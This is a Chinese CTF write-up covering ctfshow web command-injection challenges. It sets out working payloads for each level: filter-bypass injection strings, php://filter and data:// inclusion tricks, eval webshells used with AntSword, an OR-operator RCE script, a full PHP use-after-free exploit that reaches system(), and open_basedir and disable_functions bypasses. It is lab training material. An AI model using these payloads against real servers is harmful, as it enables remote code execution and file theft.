ctfshow_web_命令注入

web118

//利用系统变量构造nl命令

${PATH:~A}${PWD:~A}$IFS????.???

web119

学到一个新技能,使用wappalyzer可以得到web的服务器和php版本

image-20230812211831736

们先来看一下我们能用的数字有哪些:
0:可以用字符代替;
1:

1
${#SHLVL}=1,或者${##}、${#?}。
1
SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2:`用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。`
3:`${#IFS}=3。(linux下是3,mac里是4)`
4或者5:${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)

$`{PWD} :/var/www/html
${USER} :www-data`
`${HOME} :当前用户的主目录`

`开始构造:可以构造一下/bin/cat`
`/:${PWD::${#SHLVL}}
a:${USER:~A}`
`t:${USER:~${#SHLVL}:${#SHLVL}}`
`(a和t可以挑一个构造即可)`

`payload1:构造/???/?a? ????.???`

`${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web120

传参

1
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

image-20230812214903613

按指定的字符串截取

(1)第一种方法:

1
2
3
4
5
6
7
8
`从左向右截取最后一个string后的字符串`
`${varible##*string}
从左向右截取第一个string后的字符串
${varible#*string}
从右向左截取最后一个string后的字符串
${varible%%string*}`
`从右向左截取第一个string后的字符串`
`${varible%string*}`

“*”只是一个通配符可以不要

请看下面的例子:

1
2
3
4
5
$ MYVAR=foodforthought.jpg
$ echo ${MYVAR##*fo}
rthought.jpg
$ echo ${MYVAR#*fo}
odforthought.jpg

(2)第二种方法:

${varible:n1:n2}:截取变量varible从n1开始的n2个字符,组成一个子字符串。可以根据特定字符偏移和长度,使用另一种形式的变量扩展,来选择特定子字符串。试着在 bash 中输入以下行:

1
2
3
4
5
$ EXCLAIM=cowabunga
$ echo ${EXCLAIM:0:3}
cow
$ echo ${EXCLAIM:3:7}
abunga

这种形式的字符串截断非常简便,只需用冒号分开来指定起始字符和子字符串长度。

web121

#?=1

1
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

image-20230812225249761

web122

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

一直刷就刷出来了

image-20230813095305871

web124

构造函数

看文件

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

image-20230813103058740

读取文件

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

image-20230813103143528

解析

1
2
3
4
base_convert  		#在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码

$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func} 这种形式,其中 $var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造

1
2
$pi{abs}($pi{acos});&abs=system&acos=ls
$pi{abs}($pi{acos});&abs=system&acos=tac flag.php

因为$pi 是一个字符串,而不是一个函数。$pi 的值是通过将 379073617431598506324 作为参数传递给 base_convertdechex 函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎将无法识别 $pi 变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs}$pi{abs} 解释为一个变量名,然后使用 $pi{acos} 作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos}) 将会调用 $pi{abs}($pi{acos})。 所以要构造

1
2
$$pi{abs}($$pi{acos});&abs=system&acos=ls
$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

// 把 hex2bin转化为10进制
echo base_convert("hex2bin", 36, 16); //37907361743
echo "<br>";
echo base_convert("8d3746fcf", 16, 36); //hex2bin
echo "<br>";
//把_GET 先转为16进制再转为10进制
echo hexdec(bin2hex("_GET")); //1598506324
echo "<br>";
echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324")); // 绕过过滤拿到 "_GET"
?>

想要构造$_GET

构造_GET

想到使用bin2hex和hex2bin先把_GET(ASCII)转换成16进制,利用base_convert将一个16进制转换为36进制得到hex2bin,进而可以实现从16进制转换为ASCII得到_GET

payload进行了三次进制转换,进行绕过过滤

base_convert

(PHP 4, PHP 5, PHP 7, PHP 8)

base_convert — 在任意进制之间转换数字

说明

base_convert(string $num, int $from_base, int $to_base): string

返回字符串,包含 numto_base 进制的表示。num 本身的进制由 from_base 指定。from_baseto_base 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。字母的大小无关紧要,即 num 不区分大小写。

警告

由于使用内部的 float 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的浮点数章节以便获得更多详细信息。

参数

  • num

    要转换的数字。num 中的任何无效字符都会默认忽略。自 PHP 7.4.0 起,弃用使用任何无效字符。

  • from_base

    num 的进制数

  • to_base

    num 要转换为的进制数

返回值

num 转换为 to_base 进制

dechex() 函数把十进制数转换为十六进制数。


web29

Screenshot 2023-07-31 000044

此题利用传入的c参数来进行代码执行,不能算是严谨的命令执行。这里注意会对flag字符串进行匹配,只有不匹配上才会进行代码执行,这里需要绕过这个匹配。

解法一:payload

直接在地址栏后加?c=highlight_file(next(array_reverse(scandir("."))));

Screenshot 2023-07-31 214737

逐步分析

highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。用来在html上显示flag。

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数以相反的元素顺序返回数组。

scandir() 函数返回指定目录中的文件和目录的数组。

解法二:直接执行系统命令

?c=system(“tac%20fla*”); 利用tac与system结合,拿到flag

Screenshot 2023-07-31 215741

因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。

解法三:内联执行 (反字节符)

1
?c=echo%20`tac%20fla*`;

Screenshot 2023-07-31 220320

注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。

暂时不是很懂,网上也没搜到,以后遇到类似的题再回来总结。

解法四:利用参数输入+eval

地址后面加?c=eval($_GET[1]);&1=system("tac%20fla*.php");

Screenshot 2023-07-31 220934

使用?c=eval($_GET[1]);&1=system(ls);看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system("ls%20/");看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。

解法五:利用参数输入+include

这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到一段base64编码

Screenshot 2023-07-31 221239

解码得到flag

解法六:利用cp命令将flag拷贝到别处

Screenshot 2023-07-31 221544

Screenshot 2023-07-31 221559

解法七:中国蚁剑

使用中国蚁剑,?c=eval($_POST[1]); 连接蚁剑,密码是1,进去就可以看到flag.php

Screenshot 2023-07-31 221832

Screenshot 2023-07-31 221846

web30

Screenshot 2023-08-01 095135

打开环境分析代码看到是过滤了flag,system命令。这时就要好好想想可以利用什么方式绕过

解法一:中国蚁剑

Screenshot 2023-08-01 095557

蚁剑依旧可以用

解法二:

Screenshot 2023-08-01 100412

用passthru可以代替system绕过过滤。

Screenshot 2023-08-01 101633

解法三:利用参数输入+include

Screenshot 2023-08-01 100844

地址栏后添加

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

解法四:利用参数输入+eval

在地址栏后添加

1
?c=eval($_GET[1]);&1=passthru("tac%20fla*.php");

Screenshot 2023-08-01 101414

解法五:反字节符配合echo

1
?c=echo(`ls`);

Screenshot 2023-08-01 102144

web31

Screenshot 2023-08-01 110338

打开环境后看到是过滤了/flag|system|php|cat|sort|shell|.| |'/i

解法一:使用eval嵌套。具体参数:passthru 结合%09

1
?c=eval($_GET[1]);&1=passthru("tac%09fla*"); 

Screenshot 2023-08-01 110338

解法二:中国蚁剑

解法三:使用未被过滤的命令。passthru直接读取


web32

这道题目由于可以include,也即是包含文件。

1
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Screenshot 2023-08-08 111702

Screenshot 2023-08-08 111813

web33

方法一:转换过滤器

includ文件包含,

1
?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

Screenshot 2023-08-08 112927

然后base64解码

Screenshot 2023-08-08 113006

方法二:伪协议

通过data://text/plain协议来进行漏洞利用。

1
?c=include%0A$_GET[a]?>&a=data://text/plain,<?php%20system("cat%20flag.php");?>

然后查看源代码即可得到flag

Screenshot 2023-08-08 113222

web34

与web32,web33解法一样

web35

与web34解法相同

web36

与web35解法相同

web37

首先分析题目提供的代码

Screenshot 2023-08-08 120335

它从URL的查询字符串中获取参数’c’。如果提供了’c’,并且它不包含字符串”flag”(不区分大小写),脚本会包含由’c’指定的文件,然后如果在包含的文件中设置了变量$flag,则会将其输出。否则,如果未提供’c’,脚本将使用highlight_file函数显示自己的源代码。值得注意的是,这段代码容易受到安全漏洞的影响,因为它直接包含了用户提供的输入,没有进行适当的验证或净化,可能会导致远程代码执行或其他攻击。

使用data://伪协议

1
?c=data://text/plain,<?php system('tac fla?.php');?>

image-20230808121353237

web38

添加了对php以及flag的过滤,尝试绕过

1
?c=data://text/plain,<?=system("tac fla*")?>

web39

image-20230808131117476

1
?c=data://text/plain,<? = system("tac fla*.php") ;? >

web40

1
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。该函数是 current() 函数的别名。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

image-20230808132600687

web41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

先system ls查看目录

然后system cat flag得到flag

Screenshot 2023-08-08 221727

Screenshot 2023-08-08 221719

web42

if(isset($_GET[‘c’])){ $c=$_GET[‘c’]; system($c.” >/dev/null 2>&1”); }else{ highlight_file(FILE); }

这段代码是一个简单的 PHP 脚本。它首先检查是否有名为 ‘c’ 的 GET 参数传递给脚本。如果存在该参数,则将其赋值给变量 $c。然后,使用 system 函数执行 $c 变量的值作为命令,并将输出重定向到 /dev/null,以隐藏任何可能的输出。如果没有传递 ‘c’ 参数,则会将当前脚本文件的内容以代码高亮的形式显示出来。

需要注意的是,这段代码存在安全风险。直接将用户输入传递给 system 函数可能导致命令注入攻击,因此在实际应用中应该进行输入验证和过滤,以确保执行的命令是安全可靠的。

查看目录

1
?c=ls;

image-20230809104915269

打印flag

1
?c=tac flag.php;

image-20230809105050247

web43

image-20230809105452662

过滤了cat、;,那就利用tac命令来打印,“||”分割

image-20230809105901316

image-20230809105931012

web44

过滤了flag可以用fla*代替

Screenshot 2023-08-09 110248

image-20230809110435507

web45

image-20230809110810394

在之前的过滤基础上,把空格过滤了,所以可以采用“tab”但是直接按tab键会使光标跳到分隔符之后或者跳在历史记录中的下一条记录

所以采用tab的url编码“%09”

构造payload

1
?c=tac%09fla*||

image-20230809111113481

web46

image-20230809111923922

?c=tac<fla%27%27g.php||

image-20230809112340362

web47

image-20230809124053299

image-20230809124431200

web48

image-20230809124602531

web49

image-20230809124717030

web50

image-20230809124846040

用<>

<

代替空格

web51

image-20230809125815694

web52

可以看到<和>都被过滤掉了

发现过滤了<>,同时$也可以用了,这里我们可以用${IFS}替换空格

注: $ IFS在linux下表示分隔符,但是如果单纯的cat$ IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用 ,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

image-20230809172416192

?c=ca\t${IFS}/fla?%0a

image-20230809172833617

web53

image-20230809175222336

image-20230809175204073

web54

image-20230810110234645

这是什么过滤,吓老子一跳。。。。

土狗没见过。。

中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

方法一

1
?c=/bin/ca?${IFS}????.???

/bin/cat为命令所在路径。

image-20230810111402737

方法二

1
2
?c=mv${IFS}fla?.php${IFS}t.txt
t.txt

Screenshot 2023-08-10 111857

Screenshot 2023-08-10 111910

web55

image-20230810112936778

解法一:

由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

image-20230810114326176

image-20230810114337368

解法二:


web56

image-20230810114822845

过滤数字和字母

无字母数字RCE,可以试试文件上传

上传post文件数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://09df928f-7ad0-4ced-afe4-633518cc5035.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包在post后添加

PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

1
?c=./???/????????[@-[]
1
2
3
 .  相当于source 可以执行文件
` ` 可以执行命令
[@-[] 可以表示任意大写字母 在ASCII码中 @ < A , [ > Z ,

然后改一下文本内容

1
2
3
#!/bin/sh

cat flag.php

image-20230810121357909

web57

过滤了字母、数字、分号、2个通配符
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20230810130622189

web58

函数禁用

image-20230810131642763

system函数被禁用了

image-20230810132127592

post请求highlight_flie可以执行

image-20230810132404273

web59

image-20230810132926540

和上一道题同样的做法

web60

基本定义:

get和post是页面提交的两种方式,有着不同的应用。

$_GET变量接受所有以get方式发送的请求,及浏览器地址栏中的?之后的内容。 $_POST变量接受所有以post方式发送的请求,例如,一个form以method=post提交,提交后php会处理post过来的全部变量。

从用法角度来说:

$_POST用于表单之中,而$_GET用于超链接之中。

从安全角度考虑:

$_POST安全性更高一点,$_GET通过URL传递数据,所有内容在URL(地址栏)可以看到,所以不安全。

从数据传输大小和速度来说:

$_GET传输数据更小,更快,但传递的数据量是有限的且只能传递文本信息,而$_POST在服务器支持的情况下可以传递任意多的数据并且可以传递图片、视频等其他文件类型。

image-20230810134803449

image-20230810134731418

web61

image-20230810135340412

web62

继续post date

c=highlight_file(‘flag.php’);

web63

继续post date

c=highlight_file(‘flag.php’);

web64

继续post date

c=highlight_file(‘flag.php’);

web65

image-20230811113454488

web66

image-20230811113946054

这里看到被嘲讽了很生气,

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

使用var_dump(scandir(/))查看根目录

image-20230811115359309

image-20230811115518699

web67

image-20230811120046081

依然可以

web68

image-20230811120206786

highlight_file没办法用来

image-20230811120519044在根目录发现flag.txt

image-20230811120610296

使用include得到flag

1
c=include('/flag.txt');

web69

image-20230811121105220

web70

image-20230811121340072

web71

附件给了index.php文件的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

发现使用echo preg_replace用?替换了字母和数字

image-20230811121959111

直接在缓冲取前中断

web72

image-20230811124923837

1
2
3
4
5
6
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

glob绕过发现flag0.txt文件

编码脚本,但我的hackbar好像没法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>


web73

image-20230811215606263

可以使用include

image-20230811220139220

web74

image-20230811220920422

image-20230811221012020

web75

由于存在open_basedir配置的限制,无法使用scandir函数列出目录信息,可以使用glob协议绕过open_basedir的限制,在根目录发现flag36.txt文件。

1
2
3
4
5
6
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

image-20230812095556823

查看目录

image-20230812095910615

本题还通过include_path限制了文件包含的路径,无法直接使用include包含得到flag信息,

image-20230812100952706

根据提示使用pdo连接服务器

1
2
3
4
5
6
7
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}exit();

image-20230812101633349

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);


web76

image-20230812102321356

image-20230812102150060

web77

payload

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

image-20230812105207787

命令注入刷题心得

通过传参得到文件目录,访问文件,或者的到shell连接蚁剑

然后就是面对各种过滤方式进行绕过